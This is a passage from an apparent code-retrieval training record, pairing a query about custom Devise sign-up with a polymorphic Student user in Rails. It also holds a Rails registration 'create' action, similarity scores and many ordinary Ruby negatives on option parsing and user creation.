then\n\t\t\t\t\t\tgiven = $1\n\n\t\t\t\t\t\tif exception.is_a?(GetoptLong::InvalidOption) then\n\t\t\t\t\t\t\t@console.fatal(msg: \"Unknown option \\\"#{given}\\\".\", dots: false) if !args[:ignore_unknown]\n\t\t\t\t\t\telsif exception.is_a?(GetoptLong::MissingArgument) then\n\t\t\t\t\t\t\t@console.fatal(msg: \"Option \\\"-#{given}\\\" requires an argument.\", dots: false)\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\t@console.fatal(\"Unexpected error: #{exc.message}.\")\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\t# SET OTHER ARGUMENTS\n\t\t\t\t@args = ARGV\n\n\t\t\t\t# CHECK IF HELP WAS REQUESTED\n\t\t\t\tif self.provided?(\"help\") && !args[:ignore_help] then\n\t\t\t\t\tself.print_help\n\t\t\t\t\texit(0)\n\t\t\t\tend\n\n\t\t\t\t# NOW CHECK IF SOME REQUIRED OPTION WAS NOT SPECIFIED OR IF WE HAVE TO EXECUTE AN ACTION\n\t\t\t\t@inserted[:name].each do |key|\n\t\t\t\t\toption = @options[key]\n\n\t\t\t\t\tif option[:required] == true && option[:value] == nil then\n\t\t\t\t\t\t@console.fatal(msg: \"Required option \\\"#{option[:name]}\\\" not specified.\", dots: false)\n\t\t\t\t\telsif option[:value] == true && option[:type] == :action then\n\t\t\t\t\t\toption.action.call\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend",
"def setup(*args) ; end",
"def parse_args\n options = { :verbose => false, :status => false, :immediately => false }\n parser = Trollop::Parser.new do\n opt :reboot\n opt :stop\n opt :terminate\n opt :immediately\n opt :deferred\n opt :verbose\n version \"\"\n conflicts :deferred, :immediately\n end\n\n parse do\n options.merge!(parser.parse)\n options[:level] = ::RightScale::ShutdownRequest::REBOOT if options[:reboot]\n options[:level] = ::RightScale::ShutdownRequest::STOP if options[:stop]\n options[:level] = ::RightScale::ShutdownRequest::TERMINATE if options[:terminate]\n options[:immediately] = false if options[:deferred]\n end\n options\n end",
"def test_parse02a\n options = ArgumentManager.parse( [] )\n assert_equal( nil, options[ 'i' ] )\n end",
"def parse_args\n opt = {}\n opt_parser = OptionParser.new do |opts|\n opts.banner = \"Usage: testLogin.rb [options]\"\n opts.separator('')\n opts.on('-b', '--browser [BROWSER]', \"Default is Chrome\") do |driver|\n opt[:browser] = driver\n end\n opts.on('-v', '--version [BUILDNO]', 'CODAP build number (build_0xxx). Default is latest') do |build|\n opt[:version] = build\n end\n opts.on('-r', '--root_dir [ROOTDIR]', 'Root directory of CODAP. Default is localhost:4020/dg') do |root|\n opt[:root]=root\n end\n opts.on('-t', '--trials [NUMBER OF TRIALS]') do |num_trials|\n opt[:num_trials]=num_trials\n end\n opts.on('-c', '--cases [NUMBER OF CASES]') do |cases|\n opt[:num_cases]=cases\n end\n opts.on('-d', '--delay [DELAY BETWEEN TRIALS (ms)]') do |delay|\n opt[:delay]=delay\n end\n opts.on('-f', '--filename [FILENAME where to save results]','Must be specified if writing to a new file') do |filename|\n opt[:filename]=filename\n end\n opts.on('-p', '--path [PATH where to save results, do not include home in path]') do |path|\n opt[:path]=path\n end\n opts.on('-s', '--sleep [SLEEP time between runs (s)]') do |sleep_time|\n opt[:sleep_time]=sleep_time\n end\n opts.on('-w', '--[no-]write [WRITE]', 'write to a new file-> must specify filename, default is append (no-write). If no file name is specified, results will be appended.') do |write|\n opt[:write]=write\n end\n\n end\n opt_parser.parse!(ARGV)\n return opt\nend",
"def init_options\n @since = \"\"\n @format = :markdown\n ARGV.each do |arg|\n if arg.start_with?(\"--since=\")\n @since = arg.dup\n elsif arg == \"--html\"\n @format = :html\n end\n end\nend",
"def parse_options(args) # :nodoc:\n global_options,command,options,arguments = parse_options_helper(args.clone,Hash.new,nil,Hash.new,Array.new)\n flags.each { |name,flag| global_options[name] = flag.default_value if !global_options[name] }\n command.flags.each { |name,flag| options[name] = flag.default_value if !options[name] }\n return [global_options,command,options,arguments]\n end",
"def x_set_command_options(context)\n defaults = { uuid: false }\n defaults.merge!(dry_run: true) if context.options.key?(:dry_run)\n defaults\n end",
"def parse_args\n\t\t@args = @args_a.each_slice(2).to_a.inject({}) { |h, k| h[k[0]] = k[1]; h }\n\t\tkeys = @skeys + @lkeys\n\t\t@args.each do |k, v|\n\t\t\tif !keys.include?(k)\n\t\t\t\tputs \"Unknown option `#{k}'\"\n\t\t\t\texit\n\t\t\tend\n\n\t\t\tif keys.include?(v)\n\t\t\t\tputs \"Missing values for `#{k}' and `#{v}'\"\n\t\t\t\texit\n\t\t\tend\n\n\t\t\tif v != nil\n\t\t\t\tif v.start_with?('-')\n\t\t\t\t\tputs \"Warning: Value of `#{k}' appears to be a flag\"\n\t\t\t\tend\n\n\t\t\t\tif @static.has_key?(k)\n\t\t\t\t\tif !@static[k].include?(v)\n\t\t\t\t\t\tputs \"Unknown option `#{v}' for `#{k}'\"\n\t\t\t\t\t\texit\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t\n\t\tif remove_keys(@no_vals).has_blank?\n\t\t\tputs \"Missing argument(s)\"\n\t\t\texit\n\t\tend\t\t\t\n\tend",
"def sh_test_options\n {\n :cmd_pattern => '% ',\n :cmd => '2>&1 ',\n :indents => true,\n :env => {\n 'TAPFILE' => nil,\n 'TAP_GEMS' => nil, \n 'TAP_PATH' => nil,\n 'TAPENV' => nil,\n 'TAPRC' => nil,\n 'TAP_DEBUG' => nil\n },\n :replace_env => false\n }\n end",
"def standard_rake_options\n options.no_cache = true\n super().concat([\n ['--status', \"Print the status of the Rokuby.\",\n lambda { |value|\n options.show_status = true\n }\n ],\n ['--nocache [cache]', \"Do not use caching during processing(specify cache as all, lib, src or nothing for all).\",\n lambda { |value|\n if(!value || value == \"all\")\n options.no_cache = true\n elsif(value == \"lib\")\n options.no_lib_cache = true\n elsif(value == \"src\")\n options.no_src_cache = true\n else\n raise \"Unknown option value '#{value}' for --nocache.\"\n end\n } \n ]\n ])\n end",
"def parseOptions\n opts = GetoptLong.new(\n [ '--test', '-t', GetoptLong::NO_ARGUMENT ],\n [ '--help', '-h', GetoptLong::NO_ARGUMENT ],\n [ '--execute', '-e', GetoptLong::NO_ARGUMENT ]\n )\n \n options = Hash.new\n \n opts.each do | optionName, argument |\n options[optionName.gsub('--', '')] = true\n end\n\n options['test'] = options['test'] || false\n options['execute'] = options['execute'] || false\n options['help'] = options['help'] || false\n\n return options\n end",
"def test_run_without_arguments\n schema = Heroics::Schema.new(SAMPLE_SCHEMA)\n client = Heroics::client_from_schema(schema, 'https://example.com')\n output = StringIO.new\n command1 = Heroics::Command.new(\n 'cli', schema.resource('resource').link('list'), client, output)\n command2 = Heroics::Command.new(\n 'cli', schema.resource('resource').link('info'), client, output)\n cli = Heroics::CLI.new('cli', {'resource:list' => command1,\n 'resource:info' => command2}, output)\n cli.run\n expected = <<-USAGE\nUsage: cli <command> [<parameter> [...]] [<body>]\n\nHelp topics, type \"cli help <topic>\" for more details:\n\n resource:info Show a sample resource\n resource:list Show all sample resources\nUSAGE\n assert_equal(expected, output.string)\n end",
"def validate_run_options(args, options)\n\n if (options.machine.empty?)\n $stderr.puts(\"You have to tag your benchmark data with the --machine flag.\\n\")\n exit!\n end\n\n if (options.experiment.empty?)\n $stderr.puts(\"You have to tag your benchmark data with the --experiment flag.\\n\")\n exit!\n end\n\n if options.coverage < 0 || options.coverage > 1.0\n $stderr.puts(\"Error in --coverage flag: Coverage must be in [0..1.0]\\n\")\n exit!\n end\n\n if options.repetitions < 1\n $stderr.puts(\"Error in --repetitions flag: Repetitions must be >= 1\\n\")\n exit!\n end\n\n if options.concurrency < 1\n $stderr.puts(\"Error in --concurrency flag: Concurrency must be >= 1\\n\")\n exit!\n end\n\n if options.timeout < 1\n $stderr.puts(\"Error in --timeout flag: Timeout must be >= 1 seconds\\n\")\n exit!\n end\n\n if args.empty?\n $stderr.puts(\"You have to specify a log file.\\n\")\n exit!\n end\n\n if args.length > 1\n $stderr.puts(\"You should only specify one log file. You specified #{args.length} logfiles.\\n\")\n exit!\n end\n\n if File.exist?(args[0])\n $stderr.puts(\"Logfile #{args[0]} already exists. You do not want to overwrite collected benchmark data.\\n\")\n exit!\n end\n\nend",
"def parsed_options?\n opts = OptionParser.new\n opts.on('-v', '--version') { output_version; exit 0 }\n opts.on('-h', '--help') { output_usage }\n \n opts.on('-r', '--run s', String) { |test| @options.test = test }\n opts.on('-m', '--min-sleep i', Integer) { |min| @options.min = min }\n opts.on('-M', '--max-sleep i', Integer) { |max| @options.max = max }\n opts.on('-H', '--host s', String) { |host| @options.host = host } \n opts.on('-d', '--db s', String) { |db| @options.db = db }\n opts.on('-p', '--port i', Integer) { |port| @options.port = port }\n opts.on('-u', '--user s', String) { |user| @options.user = user }\n opts.on('-w', '--password s', String) { |password| @options.password = password }\n opts.on('-t', '--time i', Integer) { |time| @options.time = time }\n opts.on('-T', '--threads i', Integer) { |threads| @options.threads = threads }\n opts.on('-D', '--documents i', Integer) { |documents| @options.documents = documents }\n opts.on('-i', '--iterations i', Integer){ |iterations| @options.iterations = iterations }\n \n opts.on('-P', '--prepare') { @options.step = :prepare }\n opts.on('-C', '--cleanup') { @options.step = :cleanup }\n opts.on('-R', '--runonly') { @options.step = :run }\n opts.on('-A', '--all') { @options.step = :all }\n \n opts.parse!(@arguments) rescue return false\n true\n end"
] |
[
"0.6082498",
"0.5994887",
"0.5934016",
"0.59327596",
"0.5926534",
"0.5926534",
"0.59179205",
"0.59142536",
"0.5908598",
"0.5906967",
"0.58827066",
"0.5803615",
"0.57876045",
"0.57618517",
"0.57618517",
"0.57618517",
"0.57618517",
"0.57618517",
"0.57618517",
"0.5746898",
"0.57318324",
"0.56995845",
"0.5691878",
"0.5681643",
"0.5674524",
"0.56416905",
"0.56298894",
"0.5625152",
"0.5609765",
"0.56068736",
"0.5605959",
"0.5599157",
"0.5592684",
"0.55899906",
"0.5567814",
"0.5544143",
"0.5532136",
"0.5532136",
"0.5532136",
"0.5532136",
"0.5532136",
"0.5532136",
"0.5532136",
"0.5532136",
"0.5532136",
"0.55237484",
"0.55210686",
"0.55049956",
"0.55047446",
"0.5494454",
"0.5491638",
"0.5491638",
"0.5489088",
"0.5466467",
"0.54633635",
"0.54587626",
"0.54564697",
"0.54564697",
"0.54564697",
"0.54564697",
"0.54564697",
"0.54564697",
"0.54564697",
"0.54564697",
"0.54564697",
"0.54564697",
"0.54564697",
"0.54564697",
"0.54564697",
"0.545515",
"0.5441117",
"0.5438047",
"0.54343814",
"0.5424303",
"0.5418294",
"0.5413548",
"0.5408155",
"0.5405644",
"0.540362",
"0.53893125",
"0.53708845",
"0.5353085",
"0.5349943",
"0.53470594",
"0.5335664",
"0.53292423",
"0.5325273",
"0.5322617",
"0.5317286",
"0.5316877",
"0.5313339",
"0.53129655",
"0.53125024",
"0.53114223",
"0.5305631",
"0.5296323",
"0.52896076",
"0.52845025",
"0.5272217",
"0.52673966"
] |
0.54406285
|
71
|
this user aswell we create by hand because of the custom sign up method for the polimorphic association. the rest of the data such as email, password, etc for the user is handled by devise controllers
|
def create
build_resource(sign_up_params)
@student = Student.new
# students params
@student.first_name = params[:first_name]
@student.last_name = params[:last_name]
@student.last_m_name = params[:last_m_name]
@student.udg_code = params[:udg_code]
@student.born_date = params[:born_date]
@student.academic_level = params[:academic_level]
@student.terms_of_service = params[:terms_of_service]
#assigning the enum data
if params[:genre] == "masculino"
@student.genre = 0
else
@student.genre = 1
end
if params[:civil_status] == "soltero"
@student.civil_status = 0
elsif params[:civil_status] == "casado"
@student.civil_status = 1
elsif params[:civil_status ] == "viudo"
@student.civil_status = 2
else
@student.civil_status =3
end
if @student.save
resource.roleable = @student
resource.save
yield resource if block_given?
if resource.persisted?
if resource.active_for_authentication?
set_flash_message! :notice, :signed_up
sign_up(resource_name, resource)
respond_with resource, location: after_sign_up_path_for(resource)
else
set_flash_message! :notice, :"signed_up_but_#{resource.inactive_message}"
expire_data_after_sign_in!
respond_with resource, location: after_inactive_sign_up_path_for(resource)
end
else
clean_up_passwords resource
set_minimum_password_length
respond_with resource
end
else
render :new
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @user = User.new(params[:user])\n if current_user \n @user.update_attributes(:organisation_id => current_user.organisation_id)\n end\n #if @user.save\n #if session[:omniauth]\n\t#@user.authentications.create!(:provider => session[:omniauth]['provider'], :uid => session[:omniauth]['uid'])\n #end\n #end\n \n UserMailer.signup_confirmation(@user).deliver\n \n\n respond_to do |format|\n if @user.save\n format.html { redirect_to @user, :notice => 'User was successfully created.' }\n format.json { render :json => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def signup!(params)\n self.email = params[:user][:email]\n self.name = params[:user][:name]\n self.password = params[:user][:password]\n #save_without_session_maintenance\n end",
"def signup!(params)\n self.login = params[:user][:login]\n self.email = params[:user][:email]\n generate_temporary_password!\n save_without_session_maintenance\n end",
"def create \n\t\t@user=User.new\n\t\t@user.provider=\"native\"\n\t\t@user.assign_attributes(signup_params)\n\t\t@user.save!\n\t\tflash[:success]=\"Thanks for joining SPACEF!T, #{@user.name ||\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t@user.email.split(\"@\").first }. \"\n\t\tsign_in!(@user, true)\n\t\tredirect_to root_path\n\trescue ActiveRecord::RecordInvalid,\n\t\t\t\t\tActiveRecord::RecordNotUnique => e\n\t\tflash.now[:error]=\"We were not able to sign you up, please correct the following fields\"\n\t\t@user.wipe\n\t\trender 'new'\n\tend",
"def create\n user_params = sign_up_params\n @user = User.new(user_params)\n if user_params[:password] == \"\" || user_params[:password_confirmation] == \"\"\n puts \"NO PASSWORD ERROR\"\n flash[:error] = \"Need a password to sign up\"\n redirect_to '/signin'\n return \n end\n if params[:company_serial]\n company = Company.find_by(company_token: params[:company_serial])\n if company\n @user.company_id = company.id\n if company.company_name == \"IVA\"\n @user.admin = true\n end\n else\n flash[:alert] = \"The serial key provided was invalid.\"\n redirect_to '/signin'\n end\n else\n flash[:alert] = \"A company serial key must be provided to register.\"\n redirect_to '/signin'\n end\n \n if @user == \"\"\n flash[:alert] = \"Please provide a password to register with.\"\n redirect_to '/signin'\n else\n @user.save\n begin\n sign_in @user\n rescue \n flash[:error] = \"Email already in use\"\n redirect_to '/signin' and return \n end\n if !@user.admin\n Apartment::Tenant.switch(Company.find(@user.company_id).company_name.gsub(/'/,'').gsub(/\\s/,''))\n end\n redirect_to \"/pearlception\" and return\n end\n \n end",
"def create_user\n user = User.where(email: user_email)\n if user.blank? # new user\n @user = create_new_user\n church = nil\n if affiliation.blank?\n church = create_affiliation_from_church\n else\n church = Affiliation.find(self.affiliation)\n end\n @user.affiliation = church\n church.users << @user\n @user.save\n\n guest = Role.find_by_name(\"Guest\").id \n @user.role_ids=[guest]\n self.user_id = @user.id\n end\n end",
"def signup!(params)\n self.username = params[:user][:username]\n self.email = params[:user][:email]\n save_without_session_maintenance\n end",
"def signup!(params)\n self.username = params[:user][:username]\n self.email = params[:user][:email]\n save_without_session_maintenance\n end",
"def signup!(params)\n self.login = params[:user][:login]\n self.email = params[:user][:email]\n save_without_session_maintenance\n end",
"def signup(params)\n if self.is_client?\n user = self.employees.create!(name: params[:name],last_name: params[:last_name],\n email: params[:email],password: params[:password],password_confirmation: params[:password_confirmation])\n GroupsUser.create!(user_id: user.id,group_id: params[:group_id])\n user\n else\n user = self.clients.create!(name: params[:name],email: params[:email],password: params[:password],\n password_confirmation: params[:password_confirmation])\n end\n end",
"def sign_up\n @user = User.new\n end",
"def cria_user\n return if user.present?\n User.create(email: self.end_email, password: '123123', password_confirmation: '123123',\n tb_empregado_id: self.id, e_admin: self.e_admin || false).encrypted_password\n end",
"def registrar_usuario\n business_user = User.new\n business_user.email = self.email\n business_user.password = business_user.generar_password\n business_user.client_type = 'empresa'\n business_user.save\n update(user_id: business_user.id, user_created_id: business_user.id)\n #luego de registrar al usuario se almacena la contraseña en la tabla Historypassword\n #donde se almacenaran las 3 ultimas usadas\n password_business = HistoryPassword.new\n password_business.password = business_user.password\n password_business.user_id = business_user.id\n password_business.save\n end",
"def create_user_information # for new users. runs last according to rails.\n self.dj_name = name\n self.roles = Role.where(:title => 'noob')\n self.active = true\n set_password\n end",
"def devise_create_new_rails_user\n build_resource(sign_up_params)\n\n resource.save\n\n yield resource if block_given?\n if resource.persisted?\n if resource.active_for_authentication?\n set_flash_message :notice, :signed_up if is_flashing_format?\n sign_up(resource_name, resource)\n respond_with resource, location: after_sign_up_path_for(resource)\n else\n set_flash_message :notice, :\"signed_up_but_#{resource.inactive_message}\" if is_flashing_format?\n expire_data_after_sign_in!\n respond_with resource, location: after_inactive_sign_up_path_for(resource)\n end\n else\n clean_up_passwords resource\n set_minimum_password_length\n respond_with resource\n end\n end",
"def signup\n @user= User.new\n end",
"def make_user(params = {})\n self.user= account.users.build_with_fields params.reverse_merge(:email => email, :invitation => self)\n end",
"def signup\n @user = User.new\n end",
"def signup\n @user = User.new\n end",
"def create\n build_resource(sign_up_params)\n\n respond_to do |format|\n if resource.save\n format.html { redirect_to admin_root_path, notice: 'User was successfully created.' }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end \n\n if resource.save\n if resource.active_for_authentication?\n set_flash_message :notice, :signed_up if is_navigational_format?\n sign_up(resource_name, resource)\n respond_with resource, :location => after_sign_up_path_for(resource)\n else\n set_flash_message :notice, :\"signed_up_but_#{resource.inactive_message}\" if is_navigational_format?\n expire_session_data_after_sign_in!\n respond_with resource, :location => after_inactive_sign_up_path_for(resource)\n end\n else\n clean_up_passwords resource\n respond_with resource\n end\n end",
"def sign_up\n user = User.new(user_params); user.id = SecureRandom.uuid # genrating secure uuid token\n if params[:role].present? && params[:role] == \"Coach\"\n set_type_n_category\n if @category.present? && @type.present?\n user.category_id = @category.id\n user.leason_type_id = @type.id\n end\n end\n if user.save\n image_url = \"\"\n image_url = url_for(user.profile_photo) if user.profile_photo.attached?\n if user.role == \"Coach\"\n render json: { user_id: user.id, email: user.email, name: user.name, phone: user.phone , video_calling_id: user.video_calling_id, profile_photo: image_url, city: user.city, about: user.about, background: user.background, category: user.category, type: user.leason_type, \"UUID\" => user.id, \"Authentication\" => user.authentication_token }, status: 200\n else\n render json: { user_id: user.id, email: user.email, name: user.name, phone: user.phone , video_calling_id: user.video_calling_id, profile_photo: image_url, city: user.city, \"UUID\" => user.id, \"Authentication\" => user.authentication_token }, status: 200\n end\n else\n render json: user.errors.messages, status: 400\n end\n rescue StandardError => e # rescue if any exception occurr\n render json: { message: \"Error: Something went wrong... #{e}\" }, status: 400\n end",
"def candidate_sign_up\n\n end",
"def create_user\n super\n end",
"def sign_up\n user = User.new(user_params); user.id = SecureRandom.uuid # genrating secure uuid token\n if user.save\n image_url = \"\"\n image_url = url_for(user.profile_photo) if user.profile_photo.attached?\n render json: { email: user.email, first_name: user.first_name, last_name: user.last_name, profile_photo: image_url, \"UUID\" => user.id, \"Authentication\" => user.authentication_token }, status: 200\n else\n render json: user.errors.messages, status: 400\n end\n rescue StandardError => e # rescue if any exception occurr\n render json: { message: \"Error: Something went wrong... #{e}\" }, status: 400\n end",
"def signup\n\n\t\temail = params[:email] # Extract the email from the params of the signup form\n\t\ttimezone = params[:timezone] # Extract the timezone from the params of the signup form\n\n\t\t@url = uniqueUrlKeyGenerator # Generate a unique url key\n\t\told_user = User.find_by_email(email)\n\n\t\t# If user exists\n\t\tif !old_user.nil?\n\t\t # If user is not registered\n\t\t if !old_user.registered?\n\t\t # Send welcome email again and save him\n\t\t old_user.sendWelcomeEmail\n\t\t old_user.save\n\t\t end\n\t\tend\n\n\t\t# Find the user in the user db with the same email as extracted in the params\n\t\tcheck_users = User.find_by_email(email)\n\n\t\t#create a new PotentialUser object with the extarcted email, timezone and url key\n\t\tuser = User.new(email: email, url: @url, timezone: timezone, day: 1, registered: false)\n\n\t\t# If no such user exists\n\t\tif check_users.nil?\n\n\t\t#If the new user is valid and can be saved\n\t\t if user.save\n\t\t user.sendWelcomeEmail\n\t\t @title = \"Thank you for signing up\"\n\t\t @result = \"A confirmation email with instructions has been sent to you\"\n\t\t @result2 = \"Your unique access key is: \" + @url\n\n\t\t#If not valid\n\t\t else\n\t\t #Set @result as the error message\n\t\t @title = \"Looks like something went wrong ...\"\n\t\t @result = \"Email #{user.errors[:email][0]}.\".html_safe\n\t\t end\n\n\t\t#User by this email already exists\n\t\telse\n\n\t\t if !check_users.registered?\n\t\t\t # Result instance variable for the view\n\t\t\t @title = \"Looks like something went wrong ...\"\n\t\t\t @result = \"User by this email already exists, but we sent another confirmation email just in case\"\n\t\t\t else\n\t\t\t @title = \"Looks like something went wrong ...\"\n\t\t\t @result = \"User by this email already exists\"\n\t\t end\n\n\tend\n\n\t\t# Respond to only javascript, set for AJAX\n\t\trespond_to do |format|\n\t\t\tformat.js\n\t\tend\n\tend",
"def registrar_usuario\n employee_user = User.new\n employee_user.email = self.email\n employee_user.password = employee_user.generar_password\n employee_user.username = asignar_username_con_opciones\n if asignar_username_con_opciones.present?\n employee_user.username = asignar_username_con_opciones\n else\n employee_user.username = self.usuario.downcase\n end\n employee_user.client_type = 'empleado'\n employee_user.save\n update(user_id: employee_user.id, user_created_id: employee_user.id) \n #luego de registrar al usuario se almacena la contraseña en la tabla Historypassword\n #donde se almacenaran las 3 ultimas usadas\n password_employee = HistoryPassword.new\n password_employee.password = employee_user.password\n password_employee.user_id = employee_user.id\n password_employee.save\n end",
"def create\n logout_keeping_session!\n @user = User.new(params[:user])\n @user.state = 'active'\n# @user.profile ||= {}\n# @user.profile.symbolize_keys!\n# if session[:captcha].upcase != params[:captcha].upcase\n# flash[:error] = '验证码错误'\n# return render( :action => 'new')\n# end\n# @user.register! if @user && @user.valid?\n @user.save if @user && @user.valid?\n success = @user && @user.valid?\n\n if success && @user.errors.empty?\n redirect_back_or_default('/')\n flash[:notice] = I18n.t('thanks_for_signing_up')\n else\n flash[:error] = I18n.t('cannot_set_up_account')\n render :action => 'new'\n end\n end",
"def create\n user = User.new(sign_up_params)\n user.save!\n\n # Check if active for authentication.\n # If it needs mail confirmation, etc.., return false.\n if resource.active_for_authentication?\n # Validate params for authorize.\n if pre_auth.authorizable?\n # TODO: Fase 2, activate below flow.\n # if skip_authorization? || matching_token?\n # auth = authorization.authorize\n # redirect_to auth.redirect_uri\n # else\n # render :new\n # end\n\n # TODO: Fase 2, remove below process.\n result = authorization.authorize\n render json: result.auth, status: 201\n else\n # TODO: Fase 2, return error view.\n render json: pre_auth.error_response.body, status: 400\n end\n else\n render json: \"mail okuttayo\", status: 201\n end\n end",
"def create_user\n \t@user = User.new(user_params)\n @user.username = @user.name.split.sum\n \t@user.facility_id = current_user.facility_id\n \t@user.email = 'medinternational.dev'+@user.username.to_s + \"@gmail.com\"\n \t@user.language = \"english\"\n \t@user.password = \"password\"\n @user.role = Role.find_by_name(\"bmet_tech\")\n \trespond_to do |format|\n \t\tif @user.save\n \t\t\tformat.html { redirect_to settings_path, notice: 'User successfully created'}\n \t\t\tformat.json { redirect_to settings_path, notice: 'User successfully created'}\n \t\telse\n \t\t\tformat.html {redirect_to settings_path, notice: 'Failed to create user'}\n \t\t\tformat.json { render json: @user.errors, status: :unprocessable_entity}\n \t\tend\n \tend\n end",
"def create\n @user = User.create(user_params_with_password)\n @user.company = current_user.company\n if @user.save\n flash[:success] = t('messages.default_success')\n redirect_to users_path\n else\n render :new\n end\n end",
"def pre_create(user)\n user.admin = params[:user][:admin]\n user.speaker = params[:user][:speaker]\n user.staff = params[:user][:staff]\n # when creating users, we assign them a temporary password and send it to them\n user.temporary_password = Devise.friendly_token[0,8]\n user.is_admin_created = true\n user\n end",
"def create\n fname = \"#{self.class.name}.#{__method__}\"\n super\n user=User.find_by_email(reg_params[:email])\n pars={}\n unless user.nil?\n pars[:name]=params[:user][:name]\n pars[:role]=params[:user][:role]\n user.update(pars) \n else\n user=User.new(params[:user])\n end\n LOG.debug(fname) {\"************************ current_user=#{user.inspect}\"}\n end",
"def create\n if resource.active_invitation? && !resource.new_record?\n # The user record already existed\n if resource.update(sign_up_params)\n resource.accept_invitation\n\n # Follow the standard Devise logic to sign in\n set_flash_message! :notice, :signed_up\n sign_up(resource_name, resource)\n respond_with resource, location: after_sign_up_path_for(resource)\n else\n # Follow the standard Devise failed registration logic\n clean_up_passwords resource\n set_minimum_password_length\n respond_with resource\n end\n elsif !Rails.configuration.x.recaptcha.enabled || verify_recaptcha(action: 'register')\n\n # Devise doesn't set a flash message for some reason if its going to fail\n # so do it here\n super do |user|\n flash[:alert] = _('Unable to create your account!') unless user.valid?\n\n # Attach the Shib eppn if this is part of an SSO account creation\n hash = session.fetch('devise.shibboleth_data', {})\n if hash.present? && user.valid?\n user.attach_omniauth_credentials(scheme_name: 'shibboleth',\n omniauth_hash: hash)\n end\n end\n else\n flash[:alert] = _('Invalid security check! Please make sure your browser is up to date and then try again')\n end\n end",
"def create\n @user = User.new(sign_up_params)\n\t\t@user.permission = 0\n respond_to do |format|\n if @user.save\n format.html { redirect_to url_for({controller: :users, action: :sign_in, id: 0}), notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def signup(params)\n begin\n # This is a object of User model\n user = User.new\n\n if all_params_present(params[:first_name], params[:last_name], params[:sex], params[:date], params[:email], params[:password])\n presentable_error_response('BLANK_USER_DATA')\n end\n presentable_error_response(\"USER_ALREADY_EXISTS\") if user.find_email(params[:email])\n unless(params[:password].to_s.length > 7 && params[:password].to_s.length < 21)\n presentable_error_response(\"WRONG_PASSWORD_LENGTH\")\n end\n presentable_error_response(\"WRONG_GENDER_FORMAT\") unless is_valid_gender(params[:sex])\n presentable_error_response(\"WRONG_DATE_FORMAT\") unless is_valid_date(params[:date])\n\n user.create(params[:first_name], params[:last_name], valid_sex(params[:sex]), params[:date], params[:email], params[:password])\n\n return prepare_success_response({message: SUCCESS_MESSAGES['USER_CREATED']})\n rescue DataBaseException => e\n presentable_error_response('INTERNAL_ISSUE')\n end\n end",
"def create\n omniauth = request.env['omniauth.auth']\n authentication = Authentication.find_by_provider_and_uid(omniauth['provider'], omniauth['uid'])\n if authentication\n flash[:notice] = \"Signed in successfully\"\n sign_in_and_redirect(:user, authentication.user)\n else\n user = User.new\n user.apply_omniauth(omniauth)\n user.email = omniauth['extra'] && omniauth['extra']['user_hash'] && omniauth['extra']['user_hash']['email']\n if user.save\n flash[:notice] = \"Successfully registered\"\n sign_in_and_redirect(:user, user)\n else\n session[:omniauth] = omniauth.except('extra')\n session[:omniauth_email] = omniauth['extra'] && omniauth['extra']['user_hash'] && omniauth['extra']['user_hash']['email']\n\n # Check if email already taken. If so, ask user to link_accounts\n if user.errors[:email][0] =~ /has already been taken/ # omniauth? TBD\n # fetch the user with this email id!\n user = User.find_by_email(user.email)\n return redirect_to link_accounts_url(user.id)\n end\n redirect_to new_user_registration_url\n end\n end\n end",
"def create\n @company = Company.new(params[:company])\n @user = User.new(params[:user])\n @employer = Employer.new\n @user.profileable = @employer\n @employer.company = @company\n if @company.save\n if @user.save\n @employer.save\n sign_in(:user, @user)\n redirect_to root_path\n\n end\n end\n end",
"def create\n # have name, email, password that person wants to use user_params\n # user model:\n # validate that username is unique (can add in User model)\n # validate against other criteria for user names (can't have a one-letter username, language filter)\n # create obscured version of password with BCrypt::Password.create\n # attempt to save user in database with username, password obscured version of password from the form\n user = User.new(user_params)\n if user.save\n # if user saves properly:\n \t# TODO: redirect to a user created page with instructions for email confirmation\n # log user in\n session[:user_id] = user.id\n \t# redirect to home / success\n redirect_to \"/\"\n else\n # if user does not save:\n \t# flash error message (with specifics!)\n flash[:errors] = user.errors.full_messages.join(\" \")\n \t# redirect to sign up form (/users/new)\n redirect_to signup_path\n end\n\n end",
"def client_sign_up\n\n end",
"def create_user_account\n User.create!(email: self.email, password: self.customer)\n # user = User.new do |u|\n # u.email = email\n # u.password = customer\n # u.save\n # end\n end",
"def create_user\n return @user.send_confirmation_instructions if @user\n\n @user = User.create!(new_agent_params.slice(:email, :name, :password, :password_confirmation))\n end",
"def sign_up\n @user = User.new(user_params)\n if @user.save\n sign_in(@user)\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n if params[:via_linkedin] == false\n # create the new user instance with params from sign up form\n user = User.create(user_params)\n else\n params[:user][:password] = SecureRandom.hex\n\n # find or create the new user instance via linkedin\n user = User.where(provider: user_params[:provider], uid: user_params[:uid])\n .first_or_create(user_params)\n end\n # check the user save ok\n if user.persisted?\n # use the Knock AuthToken model to create a token for us\n render json: { jwt: auth_token(user).token, user: UserSerializer.new(user) }, status: 200\n else\n # bad request\n render json: user, status: 400\n end\n end",
"def signup\n end",
"def signup\n end",
"def setup \n \t@user = User.create(email: 'example@mail.com', password: '123456789', \n \t\tpassword_confirmation: '123456789')\n \t@request.env[\"devise.mapping\"] = Devise.mappings[:user]\n \t@user1 = users(:one)\n \t@user1.account = accounts(:one)\n end",
